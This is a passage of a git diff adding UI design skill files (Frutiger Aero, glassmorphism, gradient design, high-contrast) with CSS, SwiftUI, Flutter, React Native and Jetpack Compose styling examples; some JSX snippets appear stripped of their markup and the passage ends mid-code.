} + } + + // Floating Pill Nav + Row( + modifier = Modifier + .align(Alignment.BottomCenter) + .padding(bottom = 32.dp) + .shadow(20.dp, CircleShape, spotColor = Color.Black.copy(alpha = 0.1f)) + .background(Color.White, CircleShape) + .padding(horizontal = 32.dp, vertical = 16.dp), + horizontalArrangement = Arrangement.spacedBy(40.dp) + ) { + Icon(Icons.Default.Home, contentDescription = null, tint = Color.Blue) + Icon(Icons.Default.Search, contentDescription = null, tint = Color.Gray) + Icon(Icons.Default.Person, contentDescription = null, tint = Color.Gray) + } + } +} +``` +- Use `CircleShape` for the pill nav background. +- Crucially, lower the `alpha` of the `spotColor` in `Modifier.shadow` to achieve the soft, diffuse shadow look, otherwise Compose defaults to a harsh, dark shadow. + +## Do's and Don'ts +- **DO**: Animate floating elements! A slow, continuous 2px up/down translateY animation makes them feel truly buoyant. +- **DON'T**: Pin elements to the screen edges (except perhaps background images). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/frutiger-aero/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/frutiger-aero/SKILL.md new file mode 100644 index 00000000..418cc038 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/frutiger-aero/SKILL.md @@ -0,0 +1,274 @@ +--- +name: frutiger-aero +description: Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Frutiger Aero + +> "The aesthetic of mid-2000s optimism. Glossy plastic, clear water, blue skies, and eco-friendly technology." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Glossy Textures**: Buttons look like polished glass or wet plastic. Extensive use of convex gradients and specular highlights. +2. **Skeuomorphic Nature**: Motifs of green grass, blue skies, water droplets, and bubbles intersecting with sleek glass technology (think Windows Aero or early iOS). +3. **Translucency**: Frosted glass effects, but much more saturated and reflective than modern glassmorphism. + +## Visual DNA +- **Colors**: Cyan, sky blue, lime green, and pure white. Avoid dark themes entirely. +- **Typography**: Clean, highly legible humanist sans-serifs (like the font *Frutiger*, `Segoe UI`, or `Myriad Pro`). +- **Styling**: Drop shadows are deep. Highlights are bright, sharp white lines at the top of buttons. + +## Web Implementation +- Use multiple box-shadows (inset for the gloss, outset for depth) and linear-gradients. +- **CSS Example**: +```css +body { + /* Classic blue sky / green grass gradient */ + background: linear-gradient(to bottom, #87CEEB 0%, #E0F6FF 60%, #98FB98 100%); + font-family: 'Segoe UI', Tahoma, sans-serif; +} + +.aero-btn { + background: linear-gradient(to bottom, #73c8f8 0%, #1583d7 50%, #0361a3 50%, #299eef 100%); + color: white; + border: 1px solid #024b7f; + border-radius: 20px; + padding: 12px 32px; + font-weight: 600; + text-shadow: 0 -1px 1px rgba(0,0,0,0.5); + + /* The Glossy Highlight and Depth */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.8), /* Top edge highlight */ + inset 0 15px 15px rgba(255,255,255,0.3), /* Convex plastic shine */ + 0 4px 6px rgba(0,0,0,0.2); /* Drop shadow */ +} + +.aero-panel { + /* Windows Vista/7 Aero Glass */ + background: rgba(255, 255, 255, 0.4); + backdrop-filter: blur(10px); + border: 1px solid rgba(255, 255, 255, 0.8); + border-top-color: #ffffff; /* Brighter top edge */ + border-radius: 8px; + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FrutigerAeroView: View { + var body: some View { + ZStack { + // Classic sky to grass gradient + LinearGradient( + colors: [Color(hex: "87CEEB"), Color(hex: "E0F6FF"), Color(hex: "98FB98")], + startPoint: .top, endPoint: .bottom + ).ignoresSafeArea() + + // Glossy Button + Button(action: {}) { + Text("Windows Vista") + .font(.headline) + .foregroundColor(.white) + .shadow(color: .black.opacity(0.5), radius: 1, y: -1) // Inset text shadow effect + .padding(.horizontal, 40) + .padding(.vertical, 16) + .background( + // Base gradient + LinearGradient( + stops: [ + .init(color: Color(hex: "73c8f8"), location: 0.0), + .init(color: Color(hex: "1583d7"), location: 0.5), + .init(color: Color(hex: "0361a3"), location: 0.5), // Sharp color stop + .init(color: Color(hex: "299eef"), location: 1.0) + ], + startPoint: .top, endPoint: .bottom + ) + ) + .cornerRadius(25) + .overlay( + // Top white specular highlight + RoundedRectangle(cornerRadius: 25) + .stroke( + LinearGradient(colors: [.white, .clear], startPoint: .top, endPoint: .bottom), + lineWidth: 1.5 + ) + ) + .shadow(color: .black.opacity(0.3), radius: 5, y: 4) + } + } + } +} +// Note: Color(hex:) requires a custom extension in SwiftUI. +``` +- The signature Frutiger Aero "gel" look requires a sharp color transition right in the middle. Set two gradient stops at `0.5` with different colors. +- An `.overlay` with a top-down white-to-clear gradient stroke creates the glass highlight edge. + +### Flutter +```dart +class FrutigerAeroScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + // Sky/Grass background + decoration: const BoxDecoration( + gradient: LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98)], + ), + ), + child: Center( + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(25), + boxShadow: const [BoxShadow(color: Colors.black38, blurRadius: 6, offset: Offset(0, 4))], + // Glossy Gel Button + gradient: const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], // Sharp transition at 50% + colors: [ + Color(0xFF73C8F8), // Light top + Color(0xFF1583D7), // Mid top + Color(0xFF0361A3), // Dark mid (creates the glass horizon) + Color(0xFF299EEF), // Bright bottom reflection + ], + ), + border: Border.all(color: Colors.white.withOpacity(0.5), width: 1), + ), + child: Material( + color: Colors.transparent, + child: InkWell( + borderRadius: BorderRadius.circular(25), + onTap: () {}, + child: const Padding( + padding: EdgeInsets.symmetric(horizontal: 40, vertical: 16), + child: Text( + 'Media Player', + style: TextStyle( + color: Colors.white, + fontWeight: FontWeight.bold, + shadows: [Shadow(color: Colors.black54, offset: Offset(0, -1))], + ), + ), + ), + ), + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `LinearGradient` `stops` array is perfect for this. Providing `0.5` twice creates a hard line that mimics a curved glass reflection. +- Use `Text` shadows with a negative `offset: Offset(0, -1)` to recreate the classic etched-text look of the 2000s. + +### React Native +```jsx +import LinearGradient from 'react-native-linear-gradient'; + +const FrutigerAeroScreen = () => { + return ( + + + + + Glossy Button + + + + + ); +}; +``` +- `react-native-linear-gradient` supports `locations`. Set them to `[0, 0.5, 0.5, 1]` to create the two-tone convex reflection. +- Setting `borderTopWidth: 2` with a white border color effectively simulates the bright white top-edge highlight of a shiny plastic object. + +### Jetpack Compose +```kotlin +@Composable +fun FrutigerAeroScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background( + Brush.verticalGradient(listOf(Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98))) + ), + contentAlignment = Alignment.Center + ) { + // Glossy Button + val glassBrush = Brush.verticalGradient( + 0.0f to Color(0xFF73C8F8), + 0.49f to Color(0xFF1583D7), + 0.5f to Color(0xFF0361A3), // Sharp reflection line + 1.0f to Color(0xFF299EEF) + ) + + Box( + modifier = Modifier + .shadow(8.dp, RoundedCornerShape(25.dp)) + .background(glassBrush, RoundedCornerShape(25.dp)) + .border( + width = 1.dp, + brush = Brush.verticalGradient(listOf(Color.White, Color.Transparent)), // Top highlight + shape = RoundedCornerShape(25.dp) + ) + .clickable { } + .padding(horizontal = 40.dp, vertical = 16.dp) + ) { + Text( + text = "Eco Tech", + color = Color.White, + fontWeight = FontWeight.Bold, + style = TextStyle( + shadow = Shadow(color = Color.Black.copy(alpha = 0.5f), offset = Offset(0f, -2f), blurRadius = 2f) + ) + ) + } + } +} +``` +- Compose's `Brush.verticalGradient` accepts `vararg colorStops: Pair`. Use `0.49f` and `0.5f` to create the hard reflection line. +- A gradient border `Modifier.border(brush = ...)` transitioning from White to Transparent perfectly recreates the top-down specular highlight. + +## Do's and Don'ts +- **DO**: Include imagery of lens flares, auroras, or water bubbles if appropriate. +- **DON'T**: Make it flat. Frutiger Aero is the ultimate antithesis of Flat Design. Everything must shine. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/glassmorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/glassmorphism/SKILL.md new file mode 100644 index 00000000..e9b26ee3 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/glassmorphism/SKILL.md @@ -0,0 +1,272 @@ +--- +name: glassmorphism +description: Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Glassmorphism + +> "Looking through a frosted window. Interfaces that blend seamlessly with vibrant backgrounds." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Background Blur (Backdrop Filter)**: The defining characteristic. Elements blur whatever is underneath them. +2. **Semi-transparent White/Dark Backgrounds**: Panels use rgba() colors to let the background shine through. +3. **Subtle Light Borders**: A 1px semi-transparent white (or light) border to simulate the glass edge catching the light. + +## Visual DNA +- **Colors**: Requires a vibrant or textured background to work (e.g., gradients, abstract meshes, or photos). Works beautifully over **Yacht Club** or **Earth-Grounded Elegance** if there is underlying visual texture. +- **Typography**: Clean, geometric sans-serifs. High contrast text (pure white or pure black) is required for legibility against the glass. +- **Shadows**: Soft, subtle drop shadows to detach the glass pane from the background. + +## Web Implementation +- Rely heavily on `backdrop-filter: blur()`. +- **CSS Example**: +```css +body { + /* Requires a complex background to see the glass effect */ + background: url('abstract-mesh.jpg') cover; +} + +.glass-panel { + background: rgba(255, 255, 255, 0.15); /* Light glass */ + /* OR background: rgba(0, 0, 0, 0.25); for Dark glass */ + + backdrop-filter: blur(16px); + -webkit-backdrop-filter: blur(16px); + + border: 1px solid rgba(255, 255, 255, 0.3); /* The glass edge */ + border-radius: 16px; + box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); + + padding: 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GlassCard: View { + var body: some View { + ZStack { + // Vibrant background required for glass to show + LinearGradient( + colors: [.purple, .blue, .cyan], + startPoint: .topLeading, + endPoint: .bottomTrailing + ) + .ignoresSafeArea() + + // Glass panel + VStack(alignment: .leading, spacing: 16) { + Text("Glass Panel") + .font(.system(size: 22, weight: .semibold)) + .foregroundColor(.white) + Text("Content floating on frosted glass.") + .font(.system(size: 15)) + .foregroundColor(.white.opacity(0.8)) + + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(.ultraThinMaterial) + .cornerRadius(8) + } + } + .padding(24) + .background(.ultraThinMaterial) // Built-in frosted glass + .cornerRadius(16) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(.white.opacity(0.3), lineWidth: 1) // Glass edge highlight + ) + .shadow(color: .black.opacity(0.1), radius: 20, x: 0, y: 10) + .padding(24) + } + } +} +``` +- Use `.ultraThinMaterial`, `.thinMaterial`, `.regularMaterial`, `.thickMaterial` — Apple built glassmorphism natively. +- Add `.overlay(RoundedRectangle().stroke(.white.opacity(0.3)))` for the light edge catch. +- Glass only works if there's a vibrant background visible behind it. + +### Flutter +```dart +class GlassCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Stack( + children: [ + // Vibrant background + Container( + decoration: const BoxDecoration( + gradient: LinearGradient( + colors: [Colors.purple, Colors.blue, Colors.cyan], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + ), + ), + // Glass panel + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(16), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), + borderRadius: BorderRadius.circular(16), + border: Border.all( + color: Colors.white.withOpacity(0.3), + width: 1, + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + blurRadius: 20, + offset: const Offset(0, 10), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Glass Panel', + style: TextStyle(fontSize: 22, fontWeight: FontWeight.w600, + color: Colors.white)), + const SizedBox(height: 16), + Text('Content floating on frosted glass.', + style: TextStyle(fontSize: 15, + color: Colors.white.withOpacity(0.8))), + ], + ), + ), + ), + ), + ), + ], + ); + } +} +``` +- **Critical**: `BackdropFilter` MUST be wrapped in `ClipRRect` — without clipping, the blur applies to the entire screen. +- Use `ImageFilter.blur(sigmaX: 10...20, sigmaY: 10...20)` for the frosted effect. +- Set the container color to `Colors.white.withOpacity(0.1...0.2)` — too opaque kills the glass look. + +### React Native +```jsx +import { BlurView } from '@react-native-community/blur'; + +const GlassCard = () => ( + + {/* Vibrant background */} + + + {/* Glass panel */} + + + + + Glass Panel + + + Content floating on frosted glass. + + + + + +); +``` +- Install `@react-native-community/blur` — React Native has NO native blur support. +- Wrap the `BlurView` parent in a `View` with `overflow: 'hidden'` and `borderRadius` to clip the blur. +- Use `blurType: 'light'` for light glass, `'dark'` for dark glass, `'chromeMaterial'` for iOS Chrome effect. +- **Android limitation**: `BlurView` performance varies on Android. Test thoroughly. + +### Jetpack Compose +```kotlin +@Composable +fun GlassCard() { + Box(modifier = Modifier.fillMaxSize()) { + // Vibrant background + Box(modifier = Modifier + .fillMaxSize() + .background(Brush.linearGradient( + colors = listOf(Color(0xFF9B59B6), Color(0xFF3498DB), Color(0xFF1ABC9C)), + start = Offset.Zero, + end = Offset.Infinite, + )) + ) + + // Glass panel — Compose lacks native backdrop-filter, + // so use a semi-transparent surface with blur via Modifier.blur() + Card( + modifier = Modifier + .padding(24.dp) + .align(Alignment.Center), + shape = RoundedCornerShape(16.dp), + colors = CardDefaults.cardColors( + containerColor = Color.White.copy(alpha = 0.15f), + ), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.3f)), + elevation = CardDefaults.cardElevation(defaultElevation = 0.dp), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Glass Panel", + fontSize = 22.sp, + fontWeight = FontWeight.SemiBold, + color = Color.White) + Spacer(Modifier.height(16.dp)) + Text("Content floating on frosted glass.", + fontSize = 15.sp, + color = Color.White.copy(alpha = 0.8f)) + } + } + } +} +``` +- **Compose limitation**: True `backdrop-filter` blur doesn't exist natively. Use `Modifier.blur()` (API 31+) on the background, or use `RenderEffect.createBlurEffect()` for lower APIs. +- Use the `haze` library (`dev.chrisbanes.haze`) for proper glassmorphism in Compose — it provides `Modifier.haze()` and `Modifier.hazeChild()`. +- Without native blur, fallback to `Color.White.copy(alpha = 0.15f)` with a strong `border` to simulate the glass edge. + +## Do's and Don'ts +- **DO**: Ensure there is enough contrast between text and the blurred background. Accessibility is often a challenge with this style. +- **DON'T**: Use Glassmorphism on a solid white or solid black background—the effect will be completely invisible. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/gradient-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/gradient-design/SKILL.md new file mode 100644 index 00000000..3aa152b4 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/gradient-design/SKILL.md @@ -0,0 +1,309 @@ +--- +name: gradient-design +description: Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Gradient Design + +> "Color in motion. Fluid transitions that add energy and depth to flat surfaces." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Gradients are the Primary Visual**: Backgrounds, buttons, text, and borders all use gradients instead of solid colors. +2. **Analogous or Complementary Blends**: Gradients must be carefully chosen so the transition colors don't become muddy (e.g., blending red to green creates a muddy brown in the middle. Blend red to yellow to green instead). +3. **Subtle Animation**: Background gradients should slowly shift and rotate. + +## Visual DNA +- **Colors**: **Warm Tech** (blues to oranges) or create custom vibrant pairs (e.g., Purple to Coral, Deep Blue to Cyan). +- **Typography**: Clean, heavy sans-serifs that can be easily masked with a gradient fill. +- **Layout**: Keep the UI structure minimal (glass panels or white/black cards) to let the gradients breathe. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex mesh-like animated gradient */ + background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); + background-size: 400% 400%; + animation: gradientBG 15s ease infinite; + color: #fff; +} + +@keyframes gradientBG { + 0% { background-position: 0% 50%; } + 50% { background-position: 100% 50%; } + 100% { background-position: 0% 50%; } +} + +.gradient-text { + background: linear-gradient(90deg, #F9D423 0%, #FF4E50 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + font-size: 4rem; + font-weight: 900; +} + +.gradient-border-card { + background: #ffffff; + color: #333; + padding: 32px; + border-radius: 12px; + position: relative; + /* Use a pseudo-element for the gradient border */ +} +.gradient-border-card::before { + content: ''; + position: absolute; + top: -3px; left: -3px; right: -3px; bottom: -3px; + background: linear-gradient(90deg, #8A2387, #E94057, #F27121); + z-index: -1; + border-radius: 15px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GradientDesignView: View { + @State private var animateGradient = false + + var body: some View { + ZStack { + // Animated Background Gradient + LinearGradient( + colors: [Color(hex: "ee7752"), Color(hex: "e73c7e"), Color(hex: "23a6d5"), Color(hex: "23d5ab")], + startPoint: animateGradient ? .topLeading : .bottomLeading, + endPoint: animateGradient ? .bottomTrailing : .topTrailing + ) + .ignoresSafeArea() + .onAppear { + withAnimation(.linear(duration: 5.0).repeatForever(autoreverses: true)) { + animateGradient.toggle() + } + } + + VStack(spacing: 40) { + // Gradient Text + Text("VIBRANT") + .font(.system(size: 60, weight: .black)) + .foregroundStyle( + LinearGradient( + colors: [Color(hex: "F9D423"), Color(hex: "FF4E50")], + startPoint: .leading, + endPoint: .trailing + ) + ) + + // Gradient Border Card + Text("Gradient Border") + .padding() + .frame(width: 250, height: 150) + .background(Color.white) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke( + LinearGradient( + colors: [Color(hex: "8A2387"), Color(hex: "E94057"), Color(hex: "F27121")], + startPoint: .leading, endPoint: .trailing + ), + lineWidth: 3 + ) + ) + } + } + } +} +``` +- `.foregroundStyle(LinearGradient(...))` makes gradient text incredibly easy in modern SwiftUI. +- Use `.stroke(LinearGradient(...))` inside an `.overlay` to create gradient borders. + +### Flutter +```dart +class GradientDesignScreen extends StatefulWidget { + @override + State createState() => _GradientDesignScreenState(); +} + +class _GradientDesignScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _controller; + late Animation _topAlignment; + late Animation _bottomAlignment; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(reverse: true); + _topAlignment = TweenSequence([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.topLeft, end: Alignment.topRight), weight: 1), + ]).animate(_controller); + _bottomAlignment = TweenSequence([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.bottomRight, end: Alignment.bottomLeft), weight: 1), + ]).animate(_controller); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + body: AnimatedBuilder( + animation: _controller, + builder: (context, _) { + return Container( + width: double.infinity, + decoration: BoxDecoration( + // Animated Background Gradient + gradient: LinearGradient( + begin: _topAlignment.value, + end: _bottomAlignment.value, + colors: const [Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)], + ), + ), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Gradient Text + ShaderMask( + blendMode: BlendMode.srcIn, + shaderCallback: (bounds) => const LinearGradient( + colors: [Color(0xFFF9D423), Color(0xFFFF4E50)], + ).createShader(Rect.fromLTWH(0, 0, bounds.width, bounds.height)), + child: const Text('VIBRANT', style: TextStyle(fontSize: 60, fontWeight: FontWeight.w900, color: Colors.white)), + ), + const SizedBox(height: 40), + // Gradient Border Card + Container( + width: 250, height: 150, + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(15), + gradient: const LinearGradient(colors: [Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121)]), + ), + padding: const EdgeInsets.all(3), // Border width + child: Container( + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + alignment: Alignment.center, + child: const Text('Gradient Border'), + ), + ), + ], + ), + ); + }, + ), + ); + } +} +``` +- Flutter text gradients require `ShaderMask` with `BlendMode.srcIn`. +- To animate a gradient background, animate the `Alignment` values of the `LinearGradient`. + +### React Native +```jsx +// REQUIRES: expo-linear-gradient OR react-native-linear-gradient +import { LinearGradient } from 'expo-linear-gradient'; +import MaskedView from '@react-native-masked-view/masked-view'; + +const GradientDesignScreen = () => { + return ( + + {/* Gradient Text */} + + VIBRANT + + } + > + + + + + {/* Gradient Border Card */} + + + Gradient Border + + + + + ); +}; +``` +- Gradient text in React Native is notoriously annoying. You must use `@react-native-masked-view/masked-view` to mask a `LinearGradient` with a `` node. +- Gradient borders are achieved by nesting a solid view inside a `LinearGradient` with a small padding (e.g., `padding: 3`). + +### Jetpack Compose +```kotlin +@Composable +fun GradientDesignScreen() { + // Animated Background + val infiniteTransition = rememberInfiniteTransition() + val offset by infiniteTransition.animateFloat( + initialValue = 0f, targetValue = 1000f, + animationSpec = infiniteRepeatable(tween(5000, easing = LinearEasing), RepeatMode.Reverse) + ) + + val bgBrush = Brush.linearGradient( + colors = listOf(Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)), + start = Offset(offset, 0f), end = Offset(offset + 500f, 1000f) + ) + + Box( + modifier = Modifier.fillMaxSize().background(bgBrush), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + // Gradient Text + val textBrush = Brush.horizontalGradient(listOf(Color(0xFFF9D423), Color(0xFFFF4E50))) + Text( + text = "VIBRANT", + style = TextStyle(brush = textBrush, fontSize = 60.sp, fontWeight = FontWeight.Black) + ) + + Spacer(Modifier.height(40.dp)) + + // Gradient Border Card + val borderBrush = Brush.horizontalGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + Box( + modifier = Modifier + .size(250.dp, 150.dp) + .border(3.dp, borderBrush, RoundedCornerShape(12.dp)) + .background(Color.White, RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Gradient Border") + } + } + } +} +``` +- Compose handles gradients beautifully via `Brush`. +- You can pass a `Brush` directly into a `TextStyle` for gradient text, or into a `Modifier.border()` for gradient borders. + +## Do's and Don'ts +- **DO**: Use multi-stop gradients (3 or 4 colors) rather than just simple A-to-B gradients for a more modern, rich look. +- **DON'T**: Apply gradients to tiny text or thin icons, they will lose legibility immediately. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/high-contrast/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/high-contrast/SKILL.md new file mode 100644 index 00000000..5d1b67bc --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/high-contrast/SKILL.md @@ -0,0 +1,288 @@ +--- +name: high-contrast +description: Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# High Contrast Design + +> "Maximum legibility. Stark, powerful, and universally accessible." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **WCAG AAA Compliance**: Every color pairing must exceed a 7:1 contrast ratio. +2. **Clear Boundaries**: Interactive elements have highly visible borders and focus states. +3. **No Ambiguity**: Avoid subtle greys, low-opacity text, or purely decorative elements that distract from the core content. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black and White) or **Modern Editorial**. Often uses a single, highly luminous accent color (like pure Yellow `#FFFF00` or Cyan `#00FFFF`) against black. +- **Typography**: Highly legible, robust sans-serifs (`Atkinson Hyperlegible`, `Inter`, `Roboto`). Large base font sizes (18px+). +- **Styling**: Solid 2px borders around cards and buttons. Avoid drop shadows as they reduce edge clarity. + +## Web Implementation +- Focus heavily on focus states (`:focus-visible`) and clear active states. +- **CSS Example**: +```css +:root { + --hc-bg: #ffffff; + --hc-text: #000000; + --hc-accent: #0000FF; /* Pure blue */ + --hc-focus: #FF00FF; /* High visibility focus ring */ +} + +body { + background-color: var(--hc-bg); + color: var(--hc-text); + font-family: 'Atkinson Hyperlegible', sans-serif; + font-size: 18px; /* Larger default */ +} + +.hc-card { + background-color: #ffffff; + border: 3px solid #000000; /* Unmissable boundary */ + padding: 32px; + border-radius: 8px; +} + +.hc-btn { + background-color: var(--hc-accent); + color: #ffffff; + border: 3px solid transparent; /* Reserve space for focus */ + border-radius: 4px; + padding: 16px 32px; + font-weight: 700; + font-size: 1.1rem; + cursor: pointer; +} + +/* Crucial for high contrast / accessibility */ +.hc-btn:focus-visible, a:focus-visible { + outline: 4px solid var(--hc-focus); + outline-offset: 4px; +} + +a { + color: var(--hc-accent); + text-decoration: underline; + text-decoration-thickness: 2px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HighContrastView: View { + var body: some View { + VStack(spacing: 32) { + // High Contrast Card + VStack(alignment: .leading, spacing: 16) { + Text("Maximum Legibility") + .font(.custom("Atkinson Hyperlegible", size: 24)) + .fontWeight(.bold) + .foregroundColor(.black) + + Text("Content is king. Borders are stark. Contrast ratios exceed 7:1.") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .foregroundColor(.black) + } + .padding(32) + .background(Color.white) + .overlay( + RoundedRectangle(cornerRadius: 8) + .stroke(Color.black, lineWidth: 3) + ) + + // High Contrast Action Button + Button(action: {}) { + Text("CONFIRM ACTION") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .fontWeight(.black) + .foregroundColor(.white) + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.blue) // Must be a high-contrast blue, e.g., #0000FF + .cornerRadius(4) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color.white) + } +} +``` +- Rely on thick `.stroke(Color.black, lineWidth: 3)` overlays. +- Ensure text is pure `.black` on pure `.white`. Do not use `.secondary` colors if they drop below a 7:1 contrast ratio. +- Use fonts specifically designed for legibility, like Atkinson Hyperlegible. + +### Flutter +```dart +class HighContrastScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // High Contrast Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + border: Border.all(color: Colors.black, width: 3), // Unmissable boundary + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Maximum Legibility', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 24, fontWeight: FontWeight.bold, color: Colors.black)), + SizedBox(height: 16), + Text('Content is king. Borders are stark. Contrast ratios exceed 7:1.', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, color: Colors.black)), + ], + ), + ), + const SizedBox(height: 32), + + // High Contrast Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: const Color(0xFF0000FF), // Pure blue + foregroundColor: Colors.white, + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + elevation: 0, // No shadows + ), + child: const Text('CONFIRM ACTION', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, fontWeight: FontWeight.w900)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Disable `elevation` on buttons; shadows blur the edges and reduce contrast. +- Use `Border.all(color: Colors.black, width: 3)` on containers to explicitly define spatial boundaries for users with low vision. + +### React Native +```jsx +const HighContrastScreen = () => { + return ( + + + {/* High Contrast Card */} + + + Maximum Legibility + + + Content is king. Borders are stark. Contrast ratios exceed 7:1. + + + + {/* High Contrast Button */} + + + CONFIRM ACTION + + + + + ); +}; +``` +- In React Native, accessibility relies heavily on high contrast. Ensure `borderWidth: 3` and explicit pure `#000000` text colors. +- Make sure to use accessible `` areas (minimum 48x48 padding for hit slop). + +### Jetpack Compose +```kotlin +@Composable +fun HighContrastScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + 